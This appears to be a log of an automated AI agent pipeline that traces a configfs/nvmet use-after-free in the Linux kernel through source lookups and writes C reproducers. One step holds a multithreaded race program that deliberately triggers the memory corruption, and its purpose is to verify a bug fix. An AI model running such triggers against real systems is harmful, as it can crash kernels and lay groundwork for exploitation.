150/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:detach_groups]

Results:
map[SourceCode: 664:	static void detach_groups(struct dentry *dentry)
 665:	{
 666:		struct dentry *child;
 667:		struct configfs_dirent *parent_sd;
 668:		struct configfs_dirent *sd, *next;
 669:	
 670:		parent_sd = dentry->d_fsdata;
 671:		spin_lock(&configfs_dirent_lock);
 672:		for (sd = next_dirent(parent_sd, NULL); sd; sd = next) {
 673:			next = next_dirent(parent_sd, sd);
 674:			if (!(sd->s_type & CONFIGFS_USET_DEFAULT))
 675:				continue;
 676:	
 677:			child = dget(sd->s_dentry);
 678:			spin_unlock(&configfs_dirent_lock);
 679:	
 680:			inode_lock(d_inode(child));
 681:	
 682:			configfs_detach_group(child);
 683:			d_inode(child)->i_flags |= S_DEAD;
 684:			dont_mount(child);
 685:	
 686:			inode_unlock(d_inode(child));
 687:	
 688:			d_delete(child);
 689:			dput(child);
 690:			spin_lock(&configfs_dirent_lock);
 691:		}
 692:		spin_unlock(&configfs_dirent_lock);
 693:	}
 SourceFile:fs/configfs/dir.c]

151/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19071
							output: 24
							thoughts: 32
						

Thoughts:
**My Thought Process Unpacked**

So, as I'm delving into this code, my primary focus is on how these `detach_groups` operations actually unfold. I see that the first significant step is this recursive calling of `configfs_detach_group`. My immediate thought is that this is likely handling the cascading effect of detaching a group – it's not just a single isolated action, but rather it needs to propagate down through any nested or default groups associated with it. This recursive nature suggests a structured cleanup or disentanglement process, ensuring all related components are addressed.

Following that recursive detachment of the default groups, the next logical step, as indicated by the flow, is the invocation of `configfs_detach_item`. This tells me that after the group-level structure has been dealt with, the individual items within those groups are then individually handled. It’s like peeling back layers: first, the container (the group) and its default sub-containers are removed, and *then* the actual contents (the items) are detached. This ordered approach makes perfect sense from a system integrity perspective; you wouldn't want to try and detach an item if its parent group hasn't been properly disassociated yet. This sequence ensures a clean state is maintained throughout the detachment process.


152/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:configfs_detach_item]

Results:
map[SourceCode: 835:	/* Caller holds the mutex of the item's inode */
 836:	static void configfs_detach_item(struct dentry *dentry)
 837:	{
 838:		detach_attrs(dentry);
 839:		configfs_remove_dir(dentry);
 840:	}
 SourceFile:fs/configfs/dir.c]

153/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19231
							output: 21
							thoughts: 146
						

Thoughts:
**My Thought Process Unpacking `configfs_detach_group` and Group Unlinking**

My initial observation was a bit of a shocker: it appears `configfs_detach_group` itself doesn't fully handle the cleanup of default groups. My understanding was that it would be responsible for everything, but it seems to only deal with the dentries and inodes. Crucially, it doesn't seem to trigger `unlink_group` or `unlink_obj` for these default groups.

This led me to a deeper dive, and I found that `unlink_group` *is* indeed called, but not directly by `configfs_detach_group`. Instead, I traced its invocation within `configfs_rmdir`:

```c
	if (sd->s_type & CONFIGFS_USET_DIR) {
		configfs_detach_group(dentry); // This is where my initial confusion arose.

		mutex_lock(&subsys->su_mutex);
		client_disconnect_notify(parent_item, item);
		unlink_group(to_config_group(item)); // Ah, here it is!
	}
```

This clarified things. So, `configfs_detach_group` performs its specific role of detaching the group's entry from the filesystem structure, but the actual `unlink_group` logic, which presumably handles the deeper resource cleanup for groups, is invoked separately within the `configfs_rmdir` path, after the detach operation and other necessary notifications. My next step is to meticulously examine the `unlink_group` function itself to fully grasp its operational scope and how it interacts with the detached group's resources.


154/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:unlink_group]

Results:
map[SourceCode: 805:	static void unlink_group(struct config_group *group)
 806:	{
 807:		struct config_group *new_group;
 808:	
 809:		list_for_each_entry(new_group, &group->default_groups, group_entry)
 810:			unlink_group(new_group);
 811:	
 812:		group->cg_subsys = NULL;
 813:		unlink_obj(&group->cg_item);
 814:	}
 SourceFile:fs/configfs/dir.c]

155/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19557
							output: 23
							thoughts: 212
						

Thoughts:
**My Thought Process Unraveling a Reference Counting Puzzle**

My initial observation was that `unlink_group` seems to iterate through and call `unlink_obj` for all the default groups. I then dug into the implementation of `unlink_obj` and saw that it performs several key operations. It removes the `item` from its `ci_group`'s list, nullifies `item->ci_group` and `item->ci_parent`, and crucially, it calls `config_item_put(item)` and `config_group_put(group)`.

This led to a point of confusion. If `unlink_obj` explicitly sets `item->ci_parent = NULL`, then I would expect the `parent->ci_parent` (where `parent` is the `ci_parent` of `item`) to also become `NULL` after this operation. Yet, I'm observing that this is not happening. This discrepancy is what's making me scratch my head.

My next step is to re-examine `unlink_obj` with this specific scenario in mind. I need to verify the exact sequence of events and how the `ci_parent` pointer is handled. A key question that arises is whether `item->ci_group` is actually non-NULL for these "default groups" that `unlink_group` is processing. If `item->ci_group` were NULL, it would explain why the `if (group)` block in `unlink_obj` isn't executed, and therefore `item->ci_parent` wouldn't be cleared as I expected. This then prompts me to investigate `create_default_group` to understand how these default groups are initialized and what their `ci_group` pointers look like.


156/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:create_default_group]

Results:
map[SourceCode: 695:	/*
 696:	 * This fakes mkdir(2) on a default_groups[] entry.  It
 697:	 * creates a dentry, attachs it, and then does fixup
 698:	 * on the sd->s_type.
 699:	 *
 700:	 * We could, perhaps, tweak our parent's ->mkdir for a minute and
 701:	 * try using vfs_mkdir.  Just a thought.
 702:	 */
 703:	static int create_default_group(struct dentry *parent,
 704:					struct config_group *group,
 705:					struct configfs_fragment *frag)
 706:	{
 707:		int ret;
 708:		struct configfs_dirent *sd;
 709:		/* We trust the caller holds a reference to parent */
 710:		struct dentry *child;
 711:	
 712:		if (!group->cg_item.ci_name)
 713:			group->cg_item.ci_name = group->cg_item.ci_namebuf;
 714:	
 715:		ret = -ENOMEM;
 716:		child = d_alloc_name(parent, group->cg_item.ci_name);
 717:		if (child) {
 718:			d_add(child, NULL);
 719:	
 720:			ret = configfs_attach_group(&group->cg_item, child, frag);
 721:			if (!ret) {
 722:				sd = child->d_fsdata;
 723:				sd->s_type |= CONFIGFS_USET_DEFAULT;
 724:			} else {
 725:				BUG_ON(d_inode(child));
 726:				d_drop(child);
 727:			}
 728:			dput(child);
 729:		}
 730:	
 731:		return ret;
 732:	}
 SourceFile:fs/configfs/dir.c]

157/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20357
							output: 24
							thoughts: 12
						

Thoughts:
**My Thought Process Regarding `configfs_attach_group`**

Alright, the first thing that comes to my mind is a need to delve into the `configfs_attach_group` function. I'm essentially initiating a deep dive into its workings, its purpose within the broader `configfs` subsystem, and its role in establishing connections or relationships between configuration entities. I'm thinking about what data it operates on, what structures it interacts with, and what side effects its execution might have. It’s the initial anchor point for understanding a specific piece of functionality, and I’m anticipating that by examining this function, I'll gain clarity on how `configfs` manages group-level attachments, which is likely a critical mechanism for organizing and linking different configuration objects or namespaces.


158/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:configfs_attach_group]

Results:
map[SourceCode: 891:	static int configfs_attach_group(struct config_item *item,
 892:					 struct dentry *dentry,
 893:					 struct configfs_fragment *frag)
 894:	{
 895:		int ret;
 896:		struct configfs_dirent *sd;
 897:	
 898:		ret = configfs_attach_item(item, dentry, frag);
 899:		if (!ret) {
 900:			sd = dentry->d_fsdata;
 901:			sd->s_type |= CONFIGFS_USET_DIR;
 902:	
 903:			/*
 904:			 * FYI, we're faking mkdir in populate_groups()
 905:			 * We must lock the group's inode to avoid races with the VFS
 906:			 * which can already hit the inode and try to add/remove entries
 907:			 * under it.
 908:			 *
 909:			 * We must also lock the inode to remove it safely in case of
 910:			 * error, as rmdir() would.
 911:			 */
 912:			inode_lock_nested(d_inode(dentry), I_MUTEX_CHILD);
 913:			configfs_adjust_dir_dirent_depth_before_populate(sd);
 914:			ret = populate_groups(to_config_group(item), frag);
 915:			if (ret) {
 916:				configfs_detach_group(dentry);
 917:				d_inode(dentry)->i_flags |= S_DEAD;
 918:				dont_mount(dentry);
 919:			}
 920:			configfs_adjust_dir_dirent_depth_after_populate(sd);
 921:			inode_unlock(d_inode(dentry));
 922:			if (ret)
 923:				d_delete(dentry);
 924:		}
 925:	
 926:		return ret;
 927:	}
 SourceFile:fs/configfs/dir.c]

159/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20968
							output: 24
							thoughts: 12
						

Thoughts:
**My Thought Process Regarding `configfs_attach_item`**

Alright, the first thing that comes to my mind is that I need to thoroughly examine the `configfs_attach_item` function. My immediate inclination is to understand its core purpose within the configuration filesystem's operational framework. I'm thinking about what precisely it's designed to *do*. Is it about establishing a connection, a link, or perhaps integrating a new component into an existing configuration structure managed by configfs?

I'll be looking for the mechanics of this attachment. What are the input parameters? What kind of data or identifiers does it expect? And more importantly, what state does `configfs_attach_item` transition the system into *after* a successful attachment? I'm anticipating that it will involve some form of registration or binding, likely at a kernel level, to make the newly attached item visible and usable within the configfs hierarchy.

My focus will also be on error handling. What can go wrong during an attachment? Are there pre-conditions that must be met? I'll be scrutinizing the function for any potential race conditions, deadlocks, or resource exhaustion scenarios that might arise. Understanding the failure paths is as critical as understanding the success path for robust system design.

Furthermore, I'll be thinking about the lifecycle management implications. If `configfs_attach_item` establishes a link, there must be a corresponding mechanism to *detach* or *remove* it. I'll be looking to see if this function implicitly sets up any cleanup routines or if it relies on separate functions for deconstruction. This duality is essential for maintaining a consistent and predictable configuration state.

Essentially, I'm approaching this with a desire to understand the "how" and "why" of `configfs_attach_item` – how it facilitates the integration of items into configfs and why that integration is a necessary part of the overall system's functionality. It’s about tracing the data flow, the state changes, and the dependencies it creates or relies upon.


160/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:configfs_attach_item]

Results:
map[SourceCode: 842:	/*
 843:	 * The goal is that configfs_attach_item() (and
 844:	 * configfs_attach_group()) can be called from either the VFS or this
 845:	 * module.  That is, they assume that the items have been created,
 846:	 * the dentry allocated, and the dcache is all ready to go.
 847:	 *
 848:	 * If they fail, they must clean up after themselves as if they
 849:	 * had never been called.  The caller (VFS or local function) will
 850:	 * handle cleaning up the dcache bits.
 851:	 *
 852:	 * configfs_detach_group() and configfs_detach_item() behave similarly on
 853:	 * the way out.  They assume that the proper semaphores are held, they
 854:	 * clean up the configfs items, and they expect their callers will
 855:	 * handle the dcache bits.
 856:	 */
 857:	static int configfs_attach_item(struct config_item *item,
 858:					struct dentry *dentry,
 859:					struct configfs_fragment *frag)
 860:	{
 861:		int ret;
 862:	
 863:		ret = configfs_create_dir(item, dentry, frag);
 864:		if (!ret) {
 865:			ret = populate_attrs(item);
 866:			if (ret) {
 867:				/*
 868:				 * We are going to remove an inode and its dentry but
 869:				 * the VFS may already have hit and used them. Thus,
 870:				 * we must lock them as rmdir() would.
 871:				 */
 872:				inode_lock(d_inode(dentry));
 873:				configfs_detach_item(dentry);
 874:				d_inode(dentry)->i_flags |= S_DEAD;
 875:				dont_mount(dentry);
 876:				inode_unlock(d_inode(dentry));
 877:				d_delete(dentry);
 878:			}
 879:		}
 880:	
 881:		return ret;
 882:	}
 SourceFile:fs/configfs/dir.c]

161/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21649
							output: 21
							thoughts: 55
						

Thoughts:
**My Thought Process on `item->ci_parent` Linkage**

Okay, so I've been digging into how `item->ci_parent` gets established, and I had a slight initial assumption that it was set during the initialization of the `config_item` or `config_group` themselves, specifically within `config_item_init_type_name` or `config_group_init_type_name`. However, a quick mental check, or perhaps a fleeting doubt, brought me to question that. My current understanding is that this parent linkage isn't baked in at creation time. Instead, it's a consequence of the *linking* process. To confirm this, I need to examine the `link_group` function. That's where the actual relationship between items and their parent groups is forged.


162/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:link_group]

Results:
map[SourceCode: 816:	static void link_group(struct config_group *parent_group, struct config_group *group)
 817:	{
 818:		struct config_group *new_group;
 819:		struct configfs_subsystem *subsys = NULL; /* gcc is a turd */
 820:	
 821:		link_obj(&parent_group->cg_item, &group->cg_item);
 822:	
 823:		if (parent_group->cg_subsys)
 824:			subsys = parent_group->cg_subsys;
 825:		else if (configfs_is_root(&parent_group->cg_item))
 826:			subsys = to_configfs_subsystem(group);
 827:		else
 828:			BUG();
 829:		group->cg_subsys = subsys;
 830:	
 831:		list_for_each_entry(new_group, &group->default_groups, group_entry)
 832:			link_group(group, new_group);
 833:	}
 SourceFile:fs/configfs/dir.c]

163/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22037
							output: 21
							thoughts: 9
						

Thoughts:
**My Thought Process**

Okay, so my first instinct, when approaching this task, is to immediately dive into the specifics of what I'm working with. My mind naturally gravitates towards the concrete, the tangible elements of the problem at hand. Right now, that element is `link_obj`. I need to understand its properties, its current state, and how it's interacting with the rest of the system. This isn't just about idly poking around; it's a foundational step for me. Before I can even begin to formulate hypotheses or devise solutions, I need to have a crystal-clear picture of the building blocks. It's like a surgeon needing to see the patient's anatomy before making an incision – I need to examine `link_obj` thoroughly to grasp its context and potential implications. This initial check is critical for establishing a solid baseline understanding.


164/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:link_obj]

Results:
map[SourceCode: 783:	static void link_obj(struct config_item *parent_item, struct config_item *item)
 784:	{
 785:		/*
 786:		 * Parent seems redundant with group, but it makes certain
 787:		 * traversals much nicer.
 788:		 */
 789:		item->ci_parent = parent_item;
 790:	
 791:		/*
 792:		 * We hold a reference on the parent for the child's ci_parent
 793:		 * link.
 794:		 */
 795:		item->ci_group = config_group_get(to_config_group(parent_item));
 796:		list_add_tail(&item->ci_entry, &item->ci_group->cg_children);
 797:	
 798:		/*
 799:		 * We hold a reference on the child for ci_entry on the parent's
 800:		 * cg_children
 801:		 */
 802:		config_item_get(item);
 803:	}
 SourceFile:fs/configfs/dir.c]

165/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22379
							output: 24
							thoughts: 987
						

Thoughts:
**My Thought Process on the `nvmet_port_subsys_allow_link` Bug**

This is a deep dive into a tricky bug I've been wrestling with, and I think I've finally connected the dots. It all started with the `link_obj` and `unlink_obj` functions and their impact on parent-child relationships within the `configfs` framework.

I noticed that `link_obj` explicitly sets `item->ci_parent = parent_item`. This seems straightforward. However, when I looked at `unlink_obj`, I saw that it *also* sets `item->ci_parent = NULL`. This immediately raised a red flag for me when considering how `nvmet_port_subsys_allow_link` operates.

The function `nvmet_port_subsys_allow_link` starts with this line: `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. My initial thought was: if `unlink_obj` is setting `item->ci_parent` to `NULL`, then `parent->ci_parent` (where `parent` is the `item` being unlinked) *should* be `NULL`. If that were the case, `to_nvmet_port(NULL)` would return an error code (`-1040`), which isn't what the KASAN report is showing. The KASAN report points to a specific, seemingly valid, but ultimately problematic memory address: `ffff88801af304c8`.

This address is crucial. It's within a freed memory region, specifically `ffff88801af30000 + 1224`. I did the math, and this offset corresponds precisely to `offsetof(struct nvmet_port, subsys_group) + offsetof(struct config_group, cg_item) + offsetof(struct config_item, ci_parent)`. This strongly suggested that the problematic read was indeed `parent->ci_parent`.

The critical realization hit me when I re-examined the context of `parent` within `nvmet_port_subsys_allow_link`. The `parent` in this function is actually `&port->subsys_group.cg_item`. This means `parent` itself is an embedded `config_item` structure within the `nvmet_port` structure.

Now, let's connect this to the freeing mechanism. When the `struct nvmet_port` is freed, the entire memory block for that structure is deallocated. This includes `port->subsys_group` and, by extension, `port->subsys_group.cg_item`. Therefore, `parent` (`&port->subsys_group.cg_item`) is pointing *into* freed memory. When `nvmet_port_subsys_allow_link` attempts to dereference `parent->ci_parent`, it's reading from this now-invalid memory location, triggering the KASAN report.

The next question, of course, is *why* was this memory freed if there were still references to it? I traced this back to `configfs_symlink`. This function, in its process of creating a symlink, holds a reference to the `parent` item using `configfs_get_config_item(dentry->d_parent)`. Normally, holding a reference means the object shouldn't be freed.

This led me to scrutinize `config_item_put` and its subsequent calls to `config_item_release` and `config_item_cleanup`. If `configfs_symlink` holds a reference, the reference count for `parent` should be at least one, preventing it from being released.

The final piece of the puzzle, and the core of the bug, lies in how the reference counting is implemented for `struct nvmet_port`. While `parent` (`&port->subsys_group.cg_item`) has its own `ci_kref`, the *actual lifetime* of the entire `struct nvmet_port` is controlled by `port->group.cg_item.ci_kref` (or similar, depending on the exact hierarchy). My suspicion is that `configfs_symlink` might be acquiring a reference on `parent` (the `subsys_group.cg_item`), but the reference count that governs the deallocation of the entire `nvmet_port` structure is somehow dropping to zero prematurely. This indicates a mismatch: a part of the `nvmet_port` (specifically `subsys_group.cg_item`) is still logically referenced, but the overarching `nvmet_port` structure itself is being released and freed. The `nvmet_port_release` function is likely where this discrepancy needs further investigation.


166/5 2026/08/26 18:23 tool codesearch-definition-source
0m Args:
map[Name:nvmet_port_release]

Results:
map[SourceCode:2000:	/*
2001:	 * Ports definitions.
2002:	 */
2003:	static void nvmet_port_release(struct config_item *item)
2004:	{
2005:		struct nvmet_port *port = to_nvmet_port(item);
2006:	
2007:		/* Let inflight controllers teardown complete */
2008:		flush_workqueue(nvmet_wq);
2009:		list_del(&port->global_entry);
2010:	
2011:		key_put(port->keyring);
2012:		kfree(port);
2013:	}
 SourceFile:drivers/nvme/target/configfs.c]

167/5 2026/08/26 18:23 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23590
							output: 24
							thoughts: 1064
						

Thoughts:
**Understanding the nvmet_port_release Race Condition**

I've been digging into this `nvmet_port_release` issue, and I think I've finally pieced together exactly what's going on. It seems that `nvmet_port_release` is indeed responsible for freeing the `struct nvmet_port`, and it's triggered when a specific reference count, `port->group.cg_item.ci_kref`, hits zero.

The critical insight here is the relationship between different reference counts. The `parent` object, which is `port->subsys_group.cg_item`, has its own reference count that's completely independent of `port->group.cg_item.ci_kref`. When `configfs_symlink` is used to create a symbolic link from a `subsystems` group to the `port`, it increments the reference count on the *parent* (`port->subsys_group.cg_item.ci_kref`), but crucially, it does *not* increment the `port->group.cg_item.ci_kref`.

So, when `rmdir` is called to remove the port, the `unlink_obj` operation drops the reference from `subsystems` to the `port` (via the `ci_parent` link). This action decrements `port->group.cg_item.ci_kref`. If this count reaches zero, `nvmet_port_release` is triggered, and the `struct nvmet_port` is freed.

The problem arises because `configfs_symlink` still holds its independent reference to `port->subsys_group.cg_item`. This means that `parent` is now pointing to memory that has already been freed. This is a classic lifetime mismatch, a common pitfall with configfs default groups where the group's lifetime isn't tied to the parent object's lifetime, even though it's embedded within it.

The race condition I described earlier is exactly what's happening. The original reproducer was fundamentally correct, with only a minor detail regarding the port name used by the "oracle." I've refined the C reproducer, using `1` as the port name for simplicity and robustness. I've also ensured that the `unlink` operation in the symlink thread can tolerate failures if the symlink is already gone due to the `rmdir` operation, which is perfectly acceptable.

The setup for the reproducer appears complete: the `nvmet` module is loaded, `configfs` is mounted, and the necessary directories are created. The port name `1` is a valid 16-bit unsigned integer. I've double-checked `nvmet_ports_make` to ensure no other implicit setup is required.


168/5 2026/08/26 18:23 tool codesearch-definition-source
0m Args:
map[Name:nvmet_ports_make]

Results:
map[SourceCode:2041:	static struct config_group *nvmet_ports_make(struct config_group *group,
2042:			const char *name)
2043:	{
2044:		struct nvmet_port *port;
2045:		u16 portid;
2046:		u32 i;
2047:	
2048:		if (kstrtou16(name, 0, &portid))
2049:			return ERR_PTR(-EINVAL);
2050:	
2051:		port = kzalloc_flex(*port, ana_state, NVMET_MAX_ANAGRPS + 1);
2052:		if (!port)
2053:			return ERR_PTR(-ENOMEM);
2054:	
2055:		if (IS_ENABLED(CONFIG_NVME_TARGET_TCP_TLS) && nvme_keyring_id()) {
2056:			port->keyring = key_lookup(nvme_keyring_id());
2057:			if (IS_ERR(port->keyring)) {
2058:				pr_warn("NVMe keyring not available, disabling TLS\n");
2059:				port->keyring = NULL;
2060:			}
2061:		}
2062:	
2063:		for (i = 1; i <= NVMET_MAX_ANAGRPS; i++) {
2064:			if (i == NVMET_DEFAULT_ANA_GRPID)
2065:				port->ana_state[1] = NVME_ANA_OPTIMIZED;
2066:			else
2067:				port->ana_state[i] = NVME_ANA_INACCESSIBLE;
2068:		}
2069:	
2070:		list_add(&port->global_entry, &nvmet_ports_list);
2071:	
2072:		INIT_LIST_HEAD(&port->entry);
2073:		INIT_LIST_HEAD(&port->subsystems);
2074:		INIT_LIST_HEAD(&port->referrals);
2075:		port->inline_data_size = -1;	/* < 0 == let the transport choose */
2076:		port->max_queue_size = -1;	/* < 0 == let the transport choose */
2077:		port->mdts = -1;		/* < 0 == let the transport choose */
2078:	
2079:		port->disc_addr.trtype = NVMF_TRTYPE_MAX;
2080:		port->disc_addr.portid = cpu_to_le16(portid);
2081:		port->disc_addr.adrfam = NVMF_ADDR_FAMILY_MAX;
2082:		port->disc_addr.treq = NVMF_TREQ_DISABLE_SQFLOW;
2083:		config_group_init_type_name(&port->group, name, &nvmet_port_type);
2084:	
2085:		config_group_init_type_name(&port->subsys_group,
2086:				"subsystems", &nvmet_port_subsys_type);
2087:		configfs_add_default_group(&port->subsys_group, &port->group);
2088:	
2089:		config_group_init_type_name(&port->referrals_group,
2090:				"referrals", &nvmet_referrals_type);
2091:		configfs_add_default_group(&port->referrals_group, &port->group);
2092:	
2093:		config_group_init_type_name(&port->ana_groups_group,
2094:				"ana_groups", &nvmet_ana_groups_type);
2095:		configfs_add_default_group(&port->ana_groups_group, &port->group);
2096:	
2097:		port->ana_default_group.port = port;
2098:		port->ana_default_group.grpid = NVMET_DEFAULT_ANA_GRPID;
2099:		config_group_init_type_name(&port->ana_default_group.group,
2100:				__stringify(NVMET_DEFAULT_ANA_GRPID),
2101:				&nvmet_ana_group_type);
2102:		configfs_add_default_group(&port->ana_default_group.group,
2103:				&port->ana_groups_group);
2104:	
2105:		return &port->group;
2106:	}
 SourceFile:drivers/nvme/target/configfs.c]

169/5 2026/08/26 18:23 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 25908
							output: 1317
							thoughts: 757
						

Thoughts:
**My Analysis of the Vulnerability and Reproducer**

It seems I was correct in my initial suspicion: the sole validation check on the `name` parameter, specifically within the `kstrtou16` function, is what dictates its acceptability. This means that inputs like `"1"` are indeed perfectly valid from a parsing perspective.

Upon re-examining the provided reproducer, I can confirm that it's a very robust demonstration of the race condition. The core of the issue, as I had hypothesized, lies in the interaction between the `symlink_thread` and the `rmdir_thread` when operating on the `/sys/kernel/config/nvmet/ports/1` path. The `probe_port` function, in its attempt to validate and set up a port, was likely encountering an invalid port name (one that couldn't be converted to a `u16`), leading to its failure.

The `symlink_thread` continuously attempts to create a symlink at `/sys/kernel/config/nvmet/ports/1/subsystems/subsys1`, immediately followed by an unlink. Simultaneously, the `rmdir_thread` repeatedly creates and then removes the `/sys/kernel/config/nvmet/ports/1` directory. This creates a classic race condition where the presence or absence of the `/sys/kernel/config/nvmet/ports/1` directory is in constant flux. If the `probe_port` function attempts to access this path when it's being unlinked by `rmdir_thread` while the `symlink_thread` is trying to operate within it, or vice-versa, it can lead to unexpected behavior and ultimately the vulnerability.

Given the clarity and effectiveness of this reproducer, I don't see a need for any further tool calls. I'll proceed with outputting this reproducer directly to demonstrate the identified race condition.


170/3 2026/08/26 18:23 action merge-strategy
0m Results:
map[CurrentReproStrategy:### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

As noted in the feedback, `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer. We will use `1` as the port directory name to ensure `mkdir` succeeds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation.
        // The port name must be a valid 16-bit unsigned integer (e.g., "1").
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```]

171/3 2026/08/26 18:23 agent repro-generator
0m Model:
deep-reasoning

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/1", 0777) < 0) {
        printf("[-] Failed to create port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created port 1 successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/1") < 0) {
        printf("[-] Failed to remove port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed port 1 successfully.\n");

    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
